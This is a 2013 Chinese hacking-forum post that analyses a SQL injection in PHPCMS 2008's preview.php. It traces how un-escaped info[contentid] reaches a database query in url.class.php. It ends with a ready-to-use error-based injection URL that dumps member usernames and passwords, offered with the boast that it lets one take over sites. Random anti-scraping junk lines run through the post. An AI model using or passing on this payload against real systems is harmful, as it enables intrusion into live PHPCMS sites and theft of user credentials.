中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
8 F! E& i0 f% D" i9 Z, _
3 J8 y$ j2 c6 P2 w+ k
要转摘的兄弟们,你们还是带个版权吧!
! L1 V( i$ k1 P/ e
6 R- Z2 R" {8 X6 O/ I& C3 d
组织 :
http://www.safekeyer.com/
(欢迎访问)
8 y1 H; }# Z" J& w* T, b
9 ^* e( f) A# a+ f6 p: N
author: 西毒 blog:
http://hi.baidu.com/sethc5
2 X, Q$ P$ U$ W3 ?) E7 t
C3 Z6 U) o, [/ B, R. {
- q- G3 L( M; D6 G3 j: }7 F
1 ?! n7 ?' b/ y, f
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
* |$ {+ ?) b! \/ Z
9 R" W" _4 n+ R# a* [
过程不明显的我就省略了。
3 N: l; r: h( K
, G- w: [7 K! }" c& R7 l* F
在preview.php 中第7行
5 m& {/ y+ E- H, s- C( [
- X: f3 E q F% o* }# Z, \8 [! \
$r = new_stripslashes($info);
) o% \8 Y9 y5 R! D+ Q% B8 e
8 p% k, ~2 l; n4 Q, ^0 S# D8 u
我们跟踪new_stripslashes这个函数
" n. a9 ~, I8 w7 i: v
3 y7 u2 D! q! c9 F' m9 e* n8 {2 o$ h
在global.func.php中可以找到
; W, o# c& B0 G R+ v6 B" u
; U3 o) C/ u9 \- K+ o
1
\) m: ~ a! l
2
9 [- l6 B$ {5 D- M# ^/ b% T
3
4 ? T- ?- j& _7 ^4 S) X+ c, G6 D
4
- b( M/ W3 _6 X# S
5
1 ~( k: P! [ H+ z- R; o& i4 i0 \: R0 y/ W
6 function new_stripslashes($string)
* J7 n4 p; Y: L5 g
{
8 O5 s1 `2 O( I7 K7 J9 Q
if(!is_array($string)) return stripslashes($string);
3 E' g, j2 w* U0 V- n: M" M1 t5 f, M" `8 q
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
8 O* _6 i ]4 \* ^: ]
return $string;
5 N7 B, k* A& d5 p
}
1 F- Q: j2 Q( O
/ O! f8 j. O6 G
这个函数的功能不用解释了吧
' [- p' c0 |, G5 _) [
4 H) L O/ \4 a) f
所以我们看具体应用点再哪?
- q2 K- _6 j; ~' ]' j
/ K+ V2 a5 l! Q9 x7 r I
1
' z+ P& q) A& z
2
/ O- x Y6 G7 f v% l- t7 p
3
6 {0 N: m: R1 Z1 k: F% P
4
' b( H* [8 F U% [
5
: Y+ [8 J2 h# `! Y9 }
6
5 Q2 N) x1 n# B
7
2 E& R+ C O( m! p4 T4 y: F* K
8
" z) z; A) n; [" S# U0 Z
9
$ W5 x. F6 w; W, p* c3 z
10
5 f3 ]/ l; j- @% w3 p/ ^
11
- G6 w+ S* M' J3 P( [3 z# ~
12
1 g V6 d5 t, f* \- Q# u
13
! ^ e# N- C6 R- w
14
0 c( W+ W" b. |7 I7 R5 k7 c6 _, K
15
6 ^6 j5 t+ f) A- @
16
1 O# M V; A3 I2 ]" ]' ?
17
, L" p: \+ j- k" g
18
# L+ d. ]; s5 S7 o% v: G. n5 N* U
19
' a3 H* ^, B$ z" v* g) z
20
8 C5 b3 k/ _$ m7 u
21
; U( K* m4 h$ C5 f! R0 [# K+ Q
22
* A8 @7 O/ J8 m9 k
23
+ a' t! v; K5 ^6 E! s" ^2 w
24
- R# ~1 j5 ?7 j
25
7 |9 S, h4 Q2 y1 t4 \' q ~
26
1 R9 L* i' B& f" h
27
1 L, \8 m, m, W: z2 } Y7 t8 A' ^* o3 _
28
- l3 M3 u4 C S
29
# `! p( O E: l
30
+ X; H- y0 ]' y- o' d
31
7 @9 c9 w G/ D* T
32
$ z* R* o7 q" E% D
33
8 h6 y9 C, Q( u5 n! h; L$ f
34
6 I# h- ~1 S$ ^: t) h$ \4 P
35 require dirname(__FILE__).'/include/common.inc.php';
& s+ U. f. ?7 G. f1 U/ L
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
5 w" z+ b/ r: r0 T3 `& E# ^
require_once CACHE_MODEL_PATH.'content_output.class.php';
- l: H+ e3 Z' u u
require_once 'output.class.php';
; S8 f* V: s2 g
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
4 t6 d6 `1 V' S& T
$r = new_stripslashes($info); //反转义了.....关键
; d% K" r- U# f& Z! ]3 q
$C = cache_read('category_'.$r['catid'].'.php');
. c% g. C; U8 l/ B( g# I$ S' N
$out = new content_output();
! s: V3 ]/ |8 e; H# H# p- F
$r['userid'] = $_userid;
+ ^) I7 C2 G q( N) s* x7 g
$r['inputtime'] = TIME;
. G! n/ |* `" t- t1 M) F+ e: X. c Y
$data = $out->get($r);
# H$ O7 K* f9 p. ?- U4 }3 ~# O, b
extract($data);
% j- _; _/ \. y" S
$userid = $_username;
+ \/ @$ B3 ~2 V) B* ^
for($i=1;$i<10;$i++)
: ^- r( H" d9 g" l2 h
{
+ L2 W/ Q5 @1 J1 t) o
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
( v3 F b) R% J/ R! O2 e, b
}
4 h H7 W3 Q4 e# S
+ s% W x; ~) `$ t+ j8 i# P a5 q- b
$array_images = $str_attachmentArray;
! e. h7 i4 I) \
$images_number = 10;
7 A4 O n! E: v7 j2 Q2 |* _
$allow_priv = $allow_readpoint = 1;
1 u: D1 {1 K# C3 U5 a1 g
$updatetime = date('Y-m-d H:i:s',TIME);
$ H$ o. e! W7 T% e- o& P: f
8 d( A$ A0 Y' e5 H9 E7 q" Q
$page = max(intval($page), 1);
7 l$ u/ E& t' J& B# F
$pages = $titles = '';
- i1 V7 A2 E* `2 @- ^
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
4 w- E3 ]; L8 t7 q; ^( n& M, A# O- h
{
1 K) ^+ x' R( Q( p3 G* R4 @/ R
require_once 'url.class.php';
7 w- B! H, k2 |9 j9 j9 c, V* W- I
$curl = new url();
0 u4 o# |" [0 E" `3 Z
$contents = array_filter(explode('', $content));
3 Q& r7 T: J$ E* I7 l
$pagenumber = count($contents);
& v. @- f; J* x7 \
for($i=1; $i<=$pagenumber; $i++)
: Q; q9 E8 s# f) \
{
1 R/ K4 J. X- P* v& R' M7 P
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
1 D7 _6 s) Z1 S1 b# H. s
}
2 K5 G9 ]* \/ H9 j! v6 q: E) w1 F
其中细节我就不说了...
; _7 e( S1 I4 y; R( D) X
8 |' J( {* \# A0 \9 n
我们看看这个$curl资源句柄中的show方法
4 m: m) ^9 ]% P- s2 \
* H0 o" D* x4 w
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
5 Z0 r$ V* ]4 h" S
; V/ V6 ?+ k9 p" [) D( w# m
1
' {- a( W/ u: P$ d
2
4 a( D3 ~4 u; Y% k; b
3
+ [5 y. G. w' R5 i |% } y
4
, o9 g1 h9 z: n
5
& d3 \/ ^- C- P* |, r
6
n* w# s1 O9 r7 ~2 H- ?- A& ^% U
7
1 ]$ J; e& S8 X9 ]$ \
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
3 N: d: Z! p! h a* X
{
. K8 y. U _' z/ y2 [' w! q" R4 w% }3 H
global $PHPCMS;
8 G5 b) \4 y: y, W4 i6 o; d4 `3 X4 W
if($catid == 0 || $time == 0 || $prefix == '')
8 i+ x$ H, U. o# a) t
{
" L; f6 a3 l6 a D( @
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
5 C+ b. N% ^! i/ Z2 N3 u/ B
if($r['isupgrade'] && !empty($r['url']))
. u3 |% U. N7 J
{
8 z9 M$ G" ^4 O7 W/ z$ _
8 x& B, F4 ]) s
所以结合前面的......我们x站了吧
1 Y( _" W3 P2 K
% ~, Q8 y4 h' ~ I
给出exp
/ y7 `8 S7 f+ ^: Q) i$ D
- z& K% {# U* Y- |3 q
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
! n: \! s8 V1 `7 v: d3 G& I5 n
% [! \4 |/ r- a' ~$ n+ S3 b
截图看一下
' A* G0 G% l* r
2 e5 G7 C& U. f
最后真心说句,360收购漏洞计划,价格真心低.....
4 U' A. x# v) h! y. Q: j F/ j X
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2